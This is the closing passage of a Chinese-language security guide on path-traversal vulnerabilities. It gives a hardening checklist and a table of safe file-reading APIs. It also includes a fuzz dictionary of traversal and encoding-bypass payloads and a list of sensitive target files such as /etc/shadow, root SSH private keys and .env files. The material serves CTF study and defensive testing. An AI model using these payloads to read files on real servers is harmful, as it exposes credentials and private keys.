✅ 不允许文件名中包含路径分隔符(/ \ ..)
✅ 配置 open_basedir 限制 PHP 文件访问范围
✅ 设置 display_errors = Off,防止路径信息泄露
✅ 敏感配置文件(.env / config.php)设置严格的文件权限
✅ .git / .svn / .env 等敏感文件通过 Web 服务器配置禁止访问
✅ 不要在 Web 根目录存放私钥、备份文件等敏感内容
✅ 部署 WAF 检测路径穿越特征(../ / %2e%2e / 等)
✅ 定期扫描服务器是否有意外暴露的敏感文件
✅ 禁止 Web 用户读取 /etc/shadow、/root/.ssh 等高权限文件
✅ 设置合理的文件系统权限(最小权限原则)
附录
A. 路径穿越 Fuzz 字典
# 基础穿越
../
../../
../../../
../../../../
../../../../../
../../../../../../
../../../../../../../
../../../../../../../../
..\
..\..\
..\..\..\
..\..\..\..\
# URL 编码
..%2f
..%2f..%2f
..%2f..%2f..%2f
%2e%2e%2f
%2e%2e%2f%2e%2e%2f
%2e%2e/%2e%2e/
..%5c
..%5c..%5c
# 双重编码
..%252f
..%252f..%252f
%252e%252e%252f
%252e%252e%252f%252e%252e%252f
# 嵌套绕过
....//
....//....//
....//....//....//
....\/
..././
..././..././
# 混合
..%2F..%2F..%2F
%2e%2e/%2e%2e/%2e%2e/
..%c0%af..%c0%af
..%c1%9c..%c1%9c
B. 敏感文件测试列表(Top 30)
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ
/proc/self/cmdline
/proc/net/tcp
/proc/version
/root/.ssh/id_rsa
/root/.bash_history
/root/.my.cnf
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/auth.log
/etc/nginx/nginx.conf
/etc/apache2/apache2.conf
/var/www/html/.env
/var/www/html/config.php
/var/www/html/wp-config.php
/etc/redis/redis.conf
/etc/mysql/mysql.conf.d/mysqld.cnf
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\xampp\phpMyAdmin\config.inc.php
C:\xampp\apache\logs\access.log
C:\Users\Administrator\.ssh\id_rsa
C:\inetpub\wwwroot\web.config
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/maps
C. 不同框架/语言安全读取 API 速查
| 语言/框架 |
安全读取方式 |
| PHP |
realpath() + strpos() 前缀检查 |
| Python |
os.path.abspath() + startswith() |
| Java Spring |
Paths.get().normalize() + startsWith() |
| Node.js |
path.resolve() + startsWith() |
| Go |
filepath.EvalSymlinks() + strings.HasPrefix() |
| Ruby |
File.expand_path() + start_with?() |
| .NET |
Path.GetFullPath() + StartsWith() |
⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。未经授权对任何系统进行路径穿越攻击属于违法行为,请在合法合规的环境中学习与实践。